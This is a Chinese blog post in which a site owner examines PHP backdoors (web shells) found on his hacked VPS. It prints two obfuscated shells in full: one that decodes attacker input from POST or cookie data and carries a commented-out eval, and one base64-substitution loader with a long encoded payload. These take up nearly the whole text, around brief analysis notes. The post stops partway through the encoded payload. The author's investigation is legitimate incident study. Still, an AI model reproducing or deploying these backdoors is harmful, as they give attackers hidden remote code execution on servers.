最近,发现 VPS 下的某一个站点被挂马了,于是马上做了相应的安全措施。

同时,为了提高自己的姿势水平,就把那几个木马下载下来看了看。

不看不知道们一看,一看真奇妙

首先来看这个

<?php $GLOBALS['p27b'] = "\x30\x61\x6b\x2e\x36\x5c\x6f\x23\x2f\x4a\x47\x7d\x64\x72\x3e\x67\x4d\x43\x6e\x5e\x44\x4c\x5b\x22\x75\x42\x3d\x7c\x46\x7e\x33\x65\x3c\x78\x34\x35\x27\x53\x74\x59\x39\x66\x7a\x77\x69\x2b\x28\x73\x3b\x60\x9\x40\x29\x55\x50\x20\x71\x24\x2d\x48\x57\x62\xd\x32\x6c\x38\x52\x49\x21\x5a\x5d\x6a\x5f\x63\x76\x45\x2a\x58\xa\x51\x4e\x2c\x70\x79\x7b\x68\x31\x4f\x56\x25\x26\x6d\x41\x3f\x37\x3a\x4b\x54";
$GLOBALS[$GLOBALS['p27b'][61].$GLOBALS['p27b'][40].$GLOBALS['p27b'][31].$GLOBALS['p27b'][1].$GLOBALS['p27b'][4].$GLOBALS['p27b'][35].$GLOBALS['p27b'][31].$GLOBALS['p27b'][35]] = $GLOBALS['p27b'][73].$GLOBALS['p27b'][85].$GLOBALS['p27b'][13];
$GLOBALS[$GLOBALS['p27b'][85].$GLOBALS['p27b'][30].$GLOBALS['p27b'][61].$GLOBALS['p27b'][31].$GLOBALS['p27b'][73].$GLOBALS['p27b'][40].$GLOBALS['p27b'][63].$GLOBALS['p27b'][4]] = $GLOBALS['p27b'][6].$GLOBALS['p27b'][13].$GLOBALS['p27b'][12];
$GLOBALS[$GLOBALS['p27b'][74].$GLOBALS['p27b'][41].$GLOBALS['p27b'][1].$GLOBALS['p27b'][41].$GLOBALS['p27b'][1].$GLOBALS['p27b'][30].$GLOBALS['p27b'][0].$GLOBALS['p27b'][65]] = $GLOBALS['p27b'][47].$GLOBALS['p27b'][38].$GLOBALS['p27b'][13].$GLOBALS['p27b'][64].$GLOBALS['p27b'][31].$GLOBALS['p27b'][18];
$GLOBALS[$GLOBALS['p27b'][31].$GLOBALS['p27b'][73].$GLOBALS['p27b'][94].$GLOBALS['p27b'][63].$GLOBALS['p27b'][65].$GLOBALS['p27b'][65]] = $GLOBALS['p27b'][44].$GLOBALS['p27b'][18].$GLOBALS['p27b'][44].$GLOBALS['p27b'][72].$GLOBALS['p27b'][47].$GLOBALS['p27b'][31].$GLOBALS['p27b'][38];
$GLOBALS[$GLOBALS['p27b'][12].$GLOBALS['p27b'][40].$GLOBALS['p27b'][63].$GLOBALS['p27b'][61].$GLOBALS['p27b'][31].$GLOBALS['p27b'][65].$GLOBALS['p27b'][65].$GLOBALS['p27b'][1].$GLOBALS['p27b'][35]] = $GLOBALS['p27b'][47].$GLOBALS['p27b'][31].$GLOBALS['p27b'][13].$GLOBALS['p27b'][44].$GLOBALS['p27b'][1].$GLOBALS['p27b'][64].$GLOBALS['p27b'][44].$GLOBALS['p27b'][42].$GLOBALS['p27b'][31];
$GLOBALS[$GLOBALS['p27b'][15].$GLOBALS['p27b'][34].$GLOBALS['p27b'][1].$GLOBALS['p27b'][1].$GLOBALS['p27b'][1].$GLOBALS['p27b'][4].$GLOBALS['p27b'][73].$GLOBALS['p27b'][40]] = $GLOBALS['p27b'][82].$GLOBALS['p27b'][85].$GLOBALS['p27b'][82].$GLOBALS['p27b'][74].$GLOBALS['p27b'][31].$GLOBALS['p27b'][13].$GLOBALS['p27b'][47].$GLOBALS['p27b'][44].$GLOBALS['p27b'][6].$GLOBALS['p27b'][18];
$GLOBALS[$GLOBALS['p27b'][2].$GLOBALS['p27b'][94].$GLOBALS['p27b'][94].$GLOBALS['p27b'][73].$GLOBALS['p27b'][4].$GLOBALS['p27b'][35].$GLOBALS['p27b'][73]] = $GLOBALS['p27b'][24].$GLOBALS['p27b'][18].$GLOBALS['p27b'][47].$GLOBALS['p27b'][31].$GLOBALS['p27b'][13].$GLOBALS['p27b'][44].$GLOBALS['p27b'][1].$GLOBALS['p27b'][64].$GLOBALS['p27b'][44].$GLOBALS['p27b'][42].$GLOBALS['p27b'][31];
$GLOBALS[$GLOBALS['p27b'][12].$GLOBALS['p27b'][40].$GLOBALS['p27b'][35].$GLOBALS['p27b'][94]] = $GLOBALS['p27b'][61].$GLOBALS['p27b'][1].$GLOBALS['p27b'][47].$GLOBALS['p27b'][31].$GLOBALS['p27b'][4].$GLOBALS['p27b'][34].$GLOBALS['p27b'][72].$GLOBALS['p27b'][12].$GLOBALS['p27b'][31].$GLOBALS['p27b'][73].$GLOBALS['p27b'][6].$GLOBALS['p27b'][12].$GLOBALS['p27b'][31];
$GLOBALS[$GLOBALS['p27b'][64].$GLOBALS['p27b'][0].$GLOBALS['p27b'][35].$GLOBALS['p27b'][41].$GLOBALS['p27b'][65].$GLOBALS['p27b'][61]] = $GLOBALS['p27b'][47].$GLOBALS['p27b'][31].$GLOBALS['p27b'][38].$GLOBALS['p27b'][72].$GLOBALS['p27b'][38].$GLOBALS['p27b'][44].$GLOBALS['p27b'][91].$GLOBALS['p27b'][31].$GLOBALS['p27b'][72].$GLOBALS['p27b'][64].$GLOBALS['p27b'][44].$GLOBALS['p27b'][91].$GLOBALS['p27b'][44].$GLOBALS['p27b'][38];
$GLOBALS[$GLOBALS['p27b'][47].$GLOBALS['p27b'][63].$GLOBALS['p27b'][12].$GLOBALS['p27b'][34].$GLOBALS['p27b'][73]] = $GLOBALS['p27b'][56].$GLOBALS['p27b'][41].$GLOBALS['p27b'][41].$GLOBALS['p27b'][94].$GLOBALS['p27b'][31];
$GLOBALS[$GLOBALS['p27b'][13].$GLOBALS['p27b'][40].$GLOBALS['p27b'][12].$GLOBALS['p27b'][61].$GLOBALS['p27b'][0].$GLOBALS['p27b'][40].$GLOBALS['p27b'][65]] = $GLOBALS['p27b'][43].$GLOBALS['p27b'][4].$GLOBALS['p27b'][73].$GLOBALS['p27b'][12].$GLOBALS['p27b'][94].$GLOBALS['p27b'][86];
$GLOBALS[$GLOBALS['p27b'][42].$GLOBALS['p27b'][1].$GLOBALS['p27b'][35].$GLOBALS['p27b'][73].$GLOBALS['p27b'][0]] = $_POST;
$GLOBALS[$GLOBALS['p27b'][24].$GLOBALS['p27b'][94].$GLOBALS['p27b'][30].$GLOBALS['p27b'][4].$GLOBALS['p27b'][35].$GLOBALS['p27b'][30]] = $_COOKIE;
@$GLOBALS[$GLOBALS['p27b'][31].$GLOBALS['p27b'][73].$GLOBALS['p27b'][94].$GLOBALS['p27b'][63].$GLOBALS['p27b'][65].$GLOBALS['p27b'][65]]($GLOBALS['p27b'][31].$GLOBALS['p27b'][13].$GLOBALS['p27b'][13].$GLOBALS['p27b'][6].$GLOBALS['p27b'][13].$GLOBALS['p27b'][72].$GLOBALS['p27b'][64].$GLOBALS['p27b'][6].$GLOBALS['p27b'][15], NULL);
@$GLOBALS[$GLOBALS['p27b'][31].$GLOBALS['p27b'][73].$GLOBALS['p27b'][94].$GLOBALS['p27b'][63].$GLOBALS['p27b'][65].$GLOBALS['p27b'][65]]($GLOBALS['p27b'][64].$GLOBALS['p27b'][6].$GLOBALS['p27b'][15].$GLOBALS['p27b'][72].$GLOBALS['p27b'][31].$GLOBALS['p27b'][13].$GLOBALS['p27b'][13].$GLOBALS['p27b'][6].$GLOBALS['p27b'][13].$GLOBALS['p27b'][47], 0);
@$GLOBALS[$GLOBALS['p27b'][31].$GLOBALS['p27b'][73].$GLOBALS['p27b'][94].$GLOBALS['p27b'][63].$GLOBALS['p27b'][65].$GLOBALS['p27b'][65]]($GLOBALS['p27b'][91].$GLOBALS['p27b'][1].$GLOBALS['p27b'][33].$GLOBALS['p27b'][72].$GLOBALS['p27b'][31].$GLOBALS['p27b'][33].$GLOBALS['p27b'][31].$GLOBALS['p27b'][73].$GLOBALS['p27b'][24].$GLOBALS['p27b'][38].$GLOBALS['p27b'][44].$GLOBALS['p27b'][6].$GLOBALS['p27b'][18].$GLOBALS['p27b'][72].$GLOBALS['p27b'][38].$GLOBALS['p27b'][44].$GLOBALS['p27b'][91].$GLOBALS['p27b'][31], 0);
@$GLOBALS[$GLOBALS['p27b'][64].$GLOBALS['p27b'][0].$GLOBALS['p27b'][35].$GLOBALS['p27b'][41].$GLOBALS['p27b'][65].$GLOBALS['p27b'][61]](0);

$h8f146b32 = NULL;
$r231797 = NULL;

$GLOBALS[$GLOBALS['p27b'][33].$GLOBALS['p27b'][41].$GLOBALS['p27b'][12].$GLOBALS['p27b'][34]] = $GLOBALS['p27b'][65].$GLOBALS['p27b'][31].$GLOBALS['p27b'][12].$GLOBALS['p27b'][63].$GLOBALS['p27b'][12].$GLOBALS['p27b'][63].$GLOBALS['p27b'][30].$GLOBALS['p27b'][0].$GLOBALS['p27b'][58].$GLOBALS['p27b'][61].$GLOBALS['p27b'][4].$GLOBALS['p27b'][73].$GLOBALS['p27b'][31].$GLOBALS['p27b'][58].$GLOBALS['p27b'][34].$GLOBALS['p27b'][73].$GLOBALS['p27b'][4].$GLOBALS['p27b'][12].$GLOBALS['p27b'][58].$GLOBALS['p27b'][1].$GLOBALS['p27b'][65].$GLOBALS['p27b'][34].$GLOBALS['p27b'][94].$GLOBALS['p27b'][58].$GLOBALS['p27b'][94].$GLOBALS['p27b'][12].$GLOBALS['p27b'][30].$GLOBALS['p27b'][40].$GLOBALS['p27b'][86].$GLOBALS['p27b'][30].$GLOBALS['p27b'][73].$GLOBALS['p27b'][41].$GLOBALS['p27b'][0].$GLOBALS['p27b'][41].$GLOBALS['p27b'][65].$GLOBALS['p27b'][12];
global $xfd4;

function w6cd71($h8f146b32, $k48def)
{
    $pb5c6 = "";

    for ($l946=0; $l946<$GLOBALS[$GLOBALS['p27b'][74].$GLOBALS['p27b'][41].$GLOBALS['p27b'][1].$GLOBALS['p27b'][41].$GLOBALS['p27b'][1].$GLOBALS['p27b'][30].$GLOBALS['p27b'][0].$GLOBALS['p27b'][65]]($h8f146b32);)
    {
        for ($da167a8a=0; $da167a8a<$GLOBALS[$GLOBALS['p27b'][74].$GLOBALS['p27b'][41].$GLOBALS['p27b'][1].$GLOBALS['p27b'][41].$GLOBALS['p27b'][1].$GLOBALS['p27b'][30].$GLOBALS['p27b'][0].$GLOBALS['p27b'][65]]($k48def) && $l946<$GLOBALS[$GLOBALS['p27b'][74].$GLOBALS['p27b'][41].$GLOBALS['p27b'][1].$GLOBALS['p27b'][41].$GLOBALS['p27b'][1].$GLOBALS['p27b'][30].$GLOBALS['p27b'][0].$GLOBALS['p27b'][65]]($h8f146b32); $da167a8a++, $l946++)
        {
            $pb5c6 .= $GLOBALS[$GLOBALS['p27b'][61].$GLOBALS['p27b'][40].$GLOBALS['p27b'][31].$GLOBALS['p27b'][1].$GLOBALS['p27b'][4].$GLOBALS['p27b'][35].$GLOBALS['p27b'][31].$GLOBALS['p27b'][35]]($GLOBALS[$GLOBALS['p27b'][85].$GLOBALS['p27b'][30].$GLOBALS['p27b'][61].$GLOBALS['p27b'][31].$GLOBALS['p27b'][73].$GLOBALS['p27b'][40].$GLOBALS['p27b'][63].$GLOBALS['p27b'][4]]($h8f146b32[$l946]) ^ $GLOBALS[$GLOBALS['p27b'][85].$GLOBALS['p27b'][30].$GLOBALS['p27b'][61].$GLOBALS['p27b'][31].$GLOBALS['p27b'][73].$GLOBALS['p27b'][40].$GLOBALS['p27b'][63].$GLOBALS['p27b'][4]]($k48def[$da167a8a]));
        }
    }

    return $pb5c6;
}

function qff7e($h8f146b32, $k48def)
{
    global $xfd4;

    return $GLOBALS[$GLOBALS['p27b'][13].$GLOBALS['p27b'][40].$GLOBALS['p27b'][12].$GLOBALS['p27b'][61].$GLOBALS['p27b'][0].$GLOBALS['p27b'][40].$GLOBALS['p27b'][65]]($GLOBALS[$GLOBALS['p27b'][13].$GLOBALS['p27b'][40].$GLOBALS['p27b'][12].$GLOBALS['p27b'][61].$GLOBALS['p27b'][0].$GLOBALS['p27b'][40].$GLOBALS['p27b'][65]]($h8f146b32, $xfd4), $k48def);
}

foreach ($GLOBALS[$GLOBALS['p27b'][24].$GLOBALS['p27b'][94].$GLOBALS['p27b'][30].$GLOBALS['p27b'][4].$GLOBALS['p27b'][35].$GLOBALS['p27b'][30]] as $k48def=>$i749e0c)
{
    $h8f146b32 = $i749e0c;
    $r231797 = $k48def;
}

if (!$h8f146b32)
{
    foreach ($GLOBALS[$GLOBALS['p27b'][42].$GLOBALS['p27b'][1].$GLOBALS['p27b'][35].$GLOBALS['p27b'][73].$GLOBALS['p27b'][0]] as $k48def=>$i749e0c)
    {
        $h8f146b32 = $i749e0c;
        $r231797 = $k48def;
    }
}

$h8f146b32 = @$GLOBALS[$GLOBALS['p27b'][2].$GLOBALS['p27b'][94].$GLOBALS['p27b'][94].$GLOBALS['p27b'][73].$GLOBALS['p27b'][4].$GLOBALS['p27b'][35].$GLOBALS['p27b'][73]]($GLOBALS[$GLOBALS['p27b'][47].$GLOBALS['p27b'][63].$GLOBALS['p27b'][12].$GLOBALS['p27b'][34].$GLOBALS['p27b'][73]]($GLOBALS[$GLOBALS['p27b'][12].$GLOBALS['p27b'][40].$GLOBALS['p27b'][35].$GLOBALS['p27b'][94]]($h8f146b32), $r231797));
if (isset($h8f146b32[$GLOBALS['p27b'][1].$GLOBALS['p27b'][2]]) && $xfd4==$h8f146b32[$GLOBALS['p27b'][1].$GLOBALS['p27b'][2]])
{
    if ($h8f146b32[$GLOBALS['p27b'][1]] == $GLOBALS['p27b'][44])
    {
        $l946 = Array(
            $GLOBALS['p27b'][82].$GLOBALS['p27b'][74] => @$GLOBALS[$GLOBALS['p27b'][15].$GLOBALS['p27b'][34].$GLOBALS['p27b'][1].$GLOBALS['p27b'][1].$GLOBALS['p27b'][1].$GLOBALS['p27b'][4].$GLOBALS['p27b'][73].$GLOBALS['p27b'][40]](),
            $GLOBALS['p27b'][47].$GLOBALS['p27b'][74] => $GLOBALS['p27b'][86].$GLOBALS['p27b'][3].$GLOBALS['p27b'][0].$GLOBALS['p27b'][58].$GLOBALS['p27b'][86],
        );
        echo @$GLOBALS[$GLOBALS['p27b'][12].$GLOBALS['p27b'][40].$GLOBALS['p27b'][63].$GLOBALS['p27b'][61].$GLOBALS['p27b'][31].$GLOBALS['p27b'][65].$GLOBALS['p27b'][65].$GLOBALS['p27b'][1].$GLOBALS['p27b'][35]]($l946);
    }
    elseif ($h8f146b32[$GLOBALS['p27b'][1]] == $GLOBALS['p27b'][31])
    {
		echo $h8f146b32[$GLOBALS['p27b'][12]];
        //eval($h8f146b32[$GLOBALS['p27b'][12]]);
    }
    exit();
}
echo $h8f146b32[$GLOBALS['p27b'][12]];

这个倒是好分析,直接把 eval 那里即将执行的代码解码。

其实发现这个的起因还是因为我用了 oneapm,.

火狐截图_2015-10-31T06-03-58.765Z

这似乎是个在线代理,由于没有任何提交,自然没有什么代码在 eval 那执行。

然后我们来分析一下这个玩意的运行。

echo $GLOBALS['p27b'][42].$GLOBALS['p27b'][1].$GLOBALS['p27b'][35].$GLOBALS['p27b'][73].$GLOBALS['p27b'][0];

得到

za5c0

有点意思

然后继续看看另外一个相同类型的文件是什么结果。

f8960

然后继续

COOKIE 的大概也是这样

不过这个暂时没什么进展 之后再看

下面这个就好分析多了

<?php
function z($xsrgnjxf, $bblp){$hxcivlx = ''; for($i=0; $i < strlen($xsrgnjxf); $i++){$hxcivlx .= isset($bblp[$xsrgnjxf[$i]]) ? $bblp[$xsrgnjxf[$i]] : $xsrgnjxf[$i];}
$lsdqruqmxe="base64_decode";return $lsdqruqmxe($hxcivlx);}
$pnzhhebfp = 'xCgEAJsH6nx5VXJw0GswnX1l6w0PUdyJvd9Nz9N7AQyNn8WgjkhOcCsOnXJw0Gsw'.
'0w0PUo7Nz9N7AQyNn8WgjkhOcQuMnXJM6QWejCglcgsLAQegVw9hDk4Zk4I'.
'H6nYmjCgq6JsPAQeNjkh9bvPbkGgGbCgH0XJLbkYmrLJaJ4Jaba4bt95VVusvYJVQYJVcVeIUrusvYr1CVeLhpa7fTwUZU75VV'.
'usvYJVQYJVcVeVuvrsrYJsIYdYaVeLhpa7fDvU8T27EDkM1U2PbkQgGbkugcnILtah4neWurg6urgPOau'.
'YrrusSnL6prgjIr4YuYusCveUOna4NkhgZkh4VVusvYJVQYJVcVLKr'.
'JuImQusCveVnxJVdYrYmY4saVeLhpa7fDvU8T27EDkM1U2PbknLbmxNN6fKN08Wgjkh4nL6VvdJvba4bt'.
'95V6Gsw6Qu2Akh4nL6VvdJvUCuHUkYF6n4hpvMhVC6NcCrNkhgZkh4VAQS5UnW'.
'L0OIl0wh46GgP6JPOcGuq6ajjTk7fTGN96wUNbx5VknPbkx4VVC6'.
'NcCJESQegUoLhSQ1L6nVmcQu20GsHbkYGAQ1gQwjESQegVeLNz95Vkx446GgP6QyKcQrhpa'.
'IEjQemcQu20GsHbkYGAQ1gcGuq6a4Zkh4VkaYGAQ1gcGuq6a7sURKEjQemcQu20GsHbkYGAQ1gcGuq6a4Zkh4VkaYmY4gDYJ'.
'WcVCqgtJecUGyKcQrfna7sUkYGAQ1gcGuq6vPbkxgskhgskOLbkxNGjQy2jCglcfI2jnWLcXem08YwAnImjCuO'.
'0wh4jCJMjk4bt95hUk7hVRYgtRxhpaIHjRVN0usLSQjHbkYL6nKLTk7OpCd+Vw4Zkf7hUk74jCJMjk7sURW'.
'L0gsw6nIPSQWgbkU3SaI50GJGpJ9fUf9hUgPhUf9hVRYgtRxNz95hUk7hVRYgtRxhpaIHjRVm0GJ'.
'9cCu26ahfpksKpfUPUkUfTk74jCJMjk4Zkf7hUk74jCJMjk7sURWL0gsw6nIPSQWgbkV0U2MfTk7fUuLhUf9hVRYgtRxNz95'.
'hUk7h0GJLjnVEUkYL6nKLz9NskG6ecGWLAQsEUCgHnXg9bkYHjRUNURPbUkIw6nYe0GMh0RVg6esqSnY2'.
'AkhfTeM5QHdqzJe3QHdqzJecDkLynn91QH7qzJecDkLynn9wQH7qWuecDkLynn9wWJP9TvJjbaK0TfKcDkLynn1cDaLynJP9Tv'.
'gjmoucDkLynJP9TvgjmoVcDkLLnJP9TvgjmoUeQH7qWJLNbnPH'.
'maxlUf9408YwbvPbmxNGjQy2jCglcfIG0GsqnXKl08x5VCWlcOYgcOxNkOPbUk7hUkY5c8WLUoLh0RVg6esw6nIPSQWgbk'.
'0lnfK8j8j36OY9bJ9ETX4OTk0OTd74neWurg6urgPOauYrrusUveWrVeLNz95'.
'hUk7hAQShbCgHnXg9bkY5c8WLba4bUk7hURPbUk7hUk7hUkIw6nYe0GMhVCWlcOYgcOxZkf7hUkIskf7hUk7bUk7hUkYL'.
'cXqgcODhpaIgtRIPcXYgbkV7Uf9hVCWlcOYgcOxNz95hUk7hVCWlcOYgcOxhpa74jCsF6QyHQHIjUkMhU4'.
'7fUkMhVCKl08xhTf7fpfUZkf7hUkIw6nYe0GMhVCWlcOYgcOxZkOLb6OJES8YNcXMhSQ1L6nVmcQu20GsHb'.
'kY2cXyL6QyLbxNZkf7hUkI90GJOnXeKjCW5nXuPckhOU8P5Tf5NmaWJAa0PUkY2cXyL6QyLTk74cQ'.
'uLSXKg0w4Zkf7hUkIGc8U5VC4hpa79zw74Aa73UCWljQyLbkYqSnY2ACJHQHujbvP'.
'hVC4Fbw4bUk7hURPbUk7hUk7hUk74cODhpaIgtRIPcXYgbkV3Uf9hVCeKjCW5'.
'6nWcDJecVCgjbvPbUk7hUk7hUk74SHUhpaI2c8JEjkh4cODNz95hUk7hUk'.
'7hUkYwSQy4UoLh0GuE6kh9Tk75VCDwUkLhDa4Nz95hUk7hUk7hUkY2'.
'cXyL6QyLUoLh08Ywn8Vg0C1KSXr5UOPfTfYqSnY2ACJHQHujQwYNnaMfmaU'.
'PUkYE0eP40GuE6uLPUkY2cXyL6QyLbvPbUk7hURLbUk7hURVgjRJwcf74SXsEjCJEjoPbmx5b6OJE'.
'S8YNcXMhtCyecJsqSQWwc8D5VCWlcOYgcOxNkOPbUk7hURIw6QjmcQuLSXKmS'.
'Q1Pbk02nuqzJre0TaKcQHN4AQjNjoNjnaPNnuL2Vw9hVCWlcOYgcOxPUkYqSn'.
'Y2ACJHbvPbUk7hUC6l0fh4Aa7sUo7ZUkYNUo9hSXsecOx5VCeKjCW56nWcDuLNzw74AaPFbx5hUk7ht95hUk7hU'.
'k7hUkYEjQLhpa74cQuLSXKg0eP1nJP4AJLZkf7hUk7hUk7hVCeNcf7sURIljwh1Dk9hVCyeca7qUodNz95hUk'.
'7hUk7hUkYqSnhhpaI9c805Dv7PUkYEjQLNUkLhDvPbUk7hUk7hUk740GuE6k7sURVKcGx5VCeNc'.
'f9hVCeKtk4Zkf7hUk7hUk7hVCWlcOYgcOxhpaIHjRVm0GJ9cCu26ah'.
'4cQuLSXKg0eP9nJP4AJLPUkYwSQy4Tk74SXsEjCJEjk4Zkf7hUkIskf7hUkIw6nYe0GMhVCW'.
'lcOYgcOxZkOLb6OJES8YNcXMhcOJqnXeKS8Vl0wh4SXsEjCJEjk4bt95hUk7h0RVg6esqSnY2AusKcC95VwW0QeVIv4Y0T'.
'aKcQHN4AQjNjoNjnaPNnkL5QePB6CgOAnxBnJLFbJ1jUw0PUkY2cXyL6QyLTk74cQuLSXKg0w4Zkf7hUkIGc8U'.
'5VC4hpa79zw74Aa73UCWljQyLbkYqSnY2ACJHQHIjbvPhVC4Fbw4bUk7hURPbUk7hUk7hUk74cQgEUoLhVCe'.
'KjCW56nWcDJecVCgjz95hUk7hUk7hUkYqSnhhpa74cQuLSXKg0ePwnJP4AJLZkf7hUk7hUk7hVRVKcGxhpaIwS'.
'Qy4bkYqAQMPUkYqSnhNz95hUk7hUk7hUkY2cXyL6QyLUoLh08Ywn8Vg0C1KSXr5VCeKjCW56nWcDuecVCgjTk740GuE6k9hVCW'.
'lcOYgcOxNz95hUk7hmx5hUk7h0GJLjnVEUkY2cXyL6QyLz9NskhNGjQy2jCglcfIGjCJNcusqSQWwc8D5VCWlcOYgcOxPU'.
'kYGjCJNck4btw7hUk7bUk7hURVgjRJwcfIHjRVm0GJ9cCu26ahfQL6rY'.
'rgDnaUPUkYGjCJNck9hVCWlcOYgcOxNz9NskGWPSnWHUuWWJu7bt95hUk7hSXsE08xhJ4JarLgpvf7sUk'.
'0eT2UEDv7Oz95hUk7hSXsE08xhxeVDYf7sUkV00g1EU2PbUk7hUCWlcOWLUdYuY4uJvuYmrLerrusxveVrUoLhD'.
'2rZkf7hUkI2cXyHjkIWxJKmvdgzYJsDYryRJdhhpa7yzvhZkf7hUkI2cXyHjkIdYrVJYespY'.
'4Shpa79z95hUk7hSXsE08xhYdJkJrjmxL1VYryrUoLhDvPbUk7hUCWlcOWLUdYuxgJRneWurg6urf7sUoUZkf7hUkI2cXyHjk'.
'IdYrVJYesovLyzYrWrarszUoLhDHPbUk7hUCWlcOWLUdYuxgJRnL1pJL1uJ4JDUoLhWoPbUk7hURIeS'.
'G1NSw74JGJw0Xglcf7sUk0eT2UEDv7Oz95hUk7h0RJfcCg2UkYvvJ'.
'YxneIprgxhpa7wWvPbUk7hURIeSG1NSw74xeVDYf7sUkV00g1EU2PbUk7hURIeSG1NSw746Csm6C'.
'JfjQ0hpaIH6Q1Gz2NdYrVJYespY4SZkf7hUkI9jQVPAQDhVdYgSOJOc8JL0RJLUoLhVXJ2'.
'AC3Oz95hUk7h0RJfcCg2UkY4cesX6nV9UoLh6GuP0XrZkf7hUkI'.
'9jQVPAQDhVuYNcQJljnxhpa7HDo7Zkf7hUkI9jQVPAQDhVuYNcQJ'.
'PAQeNjk7sUoD9DoPbUk7hURIwc8YgS8Yg6k740XeL0us2cXyEz95hUk7h0RVljC'.
'J2jCJ4UkYg0OVl0f7sUCuw0Guyb75hUk7hUk7hUkjg0OVl0f0hpvMhVw0Pkf7hUk7hU'.
'k7hVXYgjCuNck0hpvMhVw0Pkf7hUk7hUk7hV8WqjRImSXs46a0hpvMhVw0Pkf7hUk7hUk7hV8WqjRImSXs4'.
'6Jsgtk0hpvMhVw0bUk7hUk4Zkf7hUkI90GsL6QWL6QxhVCKgcCsm0O'.
'IPta7sUCyecC9Zkf7hUkI90GsL6QWL6QxhVRWg0O6g0gs2SnIHUoLhcOJ'.
'PcoPbUk7hURIwc8YgS8Yg6k74cCuHjusw6nIPta7sUk0Oz95hUk7h0RVljCJ2jCJ4UC6ecGWLAQsEUCJ4'.
'6QVe6wh408YwTk74cCJX6Q9hpa79bx5hUk7ht95hUk7hUk7hUCgGUkh4cCJX6Q9hpf74jCKN0wL'.
'+6Csm6CJfjQ0NURPbUk7hUk7hUk7hUk7h0GJLjnVEz95hUk7hUk7hURLbUk7hUk7hUkIN6f75UQgEnXuw0GuybkYLA'.
'CgHTvyd6QVe6XsejRIejk9hSnVwSn45VXJw0GswnX1l6w0PUkj5'.
'jCePVw9hVXJ2AC3Oba4hSQy4UCgHnXWKcC1KSG1gbkYLACgHTvyd6QVe6XsejRIejk4NURPbUk7hUk7hUk'.
'7hUk7hSXuPcuse0XJwnX6ecGD5VRY5AnDqp4YgSOJOc8JL0RJLTk7'.
'408YwTk74jCKN0wL+6Csm6CJfjQ0Nz95hUk7hUk7hUk7hUkIw6nYe0GMZkf7hUk7hUk7hmx5hUk7hUk7hURW8AnY2Ak75VRY5An'.
'Dqp4YgSOJOc8JL0RJLbaIZkf7hUk7hUk7hUk7hUCWK0XrhVXJw0GswnX1l6w0Bkf7hUk7'.
'hUk7hUk7hUk7hUkIg0OVl0gsPcX05VRWL0f4Zkf7hUk7hUk7hUk7hUk7hUkI'.
'f0GJKAHPbUk7hUk7hUk7hUk7hSXuH6a7OARYqck0Bkf7hUk7hUk7hUk7hUk7hUkIgSXKlUCKLcQ1gcOYNjCgg0whbUk7hUk7h'.
'Uk7hUk7hUk7hUk7hUkI90GJOn8Vg0C1KSXr5VwscnRV0cgLFTw0PUk0'.
'OTk7408Ywba9bUk7hUk7hUk7hUk7hUk7hUk7hUkIuvgYmrJJpJdJvT75hUk7h'.
'Uk7hUk7hUk7hUk7hUk7hUkjJJdSqzk0bUk7hUk7hUk7hUk7hUk7hUk4'.
'bUk7hUk7hUk7hUk7hUk7hUkMhU21f02y0cfUZkf7hUk7hUk7hUk7hUk7hUkIf0GJKAHPbUk7hUk'.
'7hUk7hUk7hSXuH6a7O6QW5cw0Bkf7hUk7hUk7hUk7hUCYg6GuecRxBkf7hUk7hUk7hUk7hUk7hUk7'.
'408YwUoLh0RVg6esw6nIPSQWgbk0lbu1wnCy3nRV3nCMNTXeHVw9hUg1EUf9hVRWL0f4Zkf7hUk7hUk7hUk7hUk7hUkIgSXKlUCj'.
'q6CuL6ahOQaeqTQxhaoNNzODOba7EUkV0jkUhTfIHjRVm0GJ9cCu26ahbUk7hUk7hUk7hUk'.
'7hUk7hUk7hUk7fnCMfT75hUk7hUk7hUk7hUk7hUk7hUk7hUkV0cf7hUk7hUk7hUk7hUk7hUk7hUkI0jk7hUk7hUk7hUk7hUk7h'.
'Uk7hUkUPkf7hUk7hUk7hUk7hUk7hUk7hUk7hjRVNcah408Ywbx5hUk7hUk7hUk7hUk7hUk'.
'7hbaMfnCMfz95hUk7hUk7hURLbUk7hURLbUk7hURIeSG1NSwIGjQy2jCglcfI2cXyE6QWLbkY5c8WLTk740Cswjk7sUCye'.
'cC9PUkYLAQegc8JLUoLhDH7PUkYl0RYNcXyHUoLhSnVwSn45ba4'.
'bUk7hURPbUk7hUk7hUkIHjCuLAQDhVRWL0GJKcQsFz95hUk7hUk7hUCgGUkKN0esEjQ1PbkYHjRVgSQelAw'.
'4NURPbUk7hUk7hUk7hUk7hVRWL0GJKcQsFUoLh6OJES8YNcXym6nKN08YHbkjHjRVg'.
'SQem0Xs2AXJLnXWPAQJEjk0Nz95hUk7hUk7hURLbUk7hUk7hUk74jCKN0wL+0XJLYnVwc8U'.
'5Vw0Nz95hUk7hUk7hUCgGUkh4jCKN0wL+SXsEcGJ2jCJ4bk4NURPbUk7hUk7hUk7hUk7hVR'.
'Y5AnDqpOWgjdJw0GswbkjIcRVgSQYyUCWlcGygS8Yg6kILcwIKURWg0O6g0f0Nz95'.
'hUk7hUk7hUk7hUkIw6nYe0GMh6GuP0XrZkf7hUk7hUk7hmx5hUk7hUk7hUCgGUkKgcnIL'.
'tah40Cswjk4NURPbUk7hUk7hUk7hUk7hVRIl0OxhpaIH6Q1Gz2NdYr6IJr1r'.
'neWWJuImrdsaJoPbUk7hUk7hUkIskf7hUk7hUk7hVRY5AnDqpGJ46QVe6whbU'.
'k7hUk7hUk7hUk7hU4WlcGygS8YNcXMBUCs96QyNcG0hjC3hVCKl0'.
'8xBVRIl0OxPURYNcQJljnxsVRYNcQJljnxPUCs9jCglcODsUfyXSnVm'.
'6nK9c8VLbkYl0RYNcXyHTkIL0OJgba9bUk7hUk7hUk7hUk7h0XJP625BYdJkJrjmxLszv4JoJdgpvh5hUk7hUk7hUk4Zkf7h'.
'Uk7hUk7hVCJw0GylUoLhDoPbUk7hUk7hUk746nVw08YwUoLhVw0Zkf7hUk7hUk7hAQShbkYHjRVgSQelAw4ht95h'.
'Uk7hUk7hUk7hUk740Xs2AXJLnXWlcOYgtRxhpaIHjRVgSQemSXs'.
'EjCJMjus20GJKjCr5VCs9jCglcODNz95hUk7hUk7hUk7hUk74jCKN0wL+0XeL0us2cXyEUoLhxRWL0GJKcJsHcXWF6'.
'nYmSX1N6QyLb75hUk7hUk7hUk7hUk7hUk7hVCKl08xhTf7fzfUhTf740Cswjk9bUk7hUk7hUk7'.
'hUk7hUk7hUkYg0OVEcw9bUk7hUk7hUk7hUk7hUk7hUkYg0OVHj'.
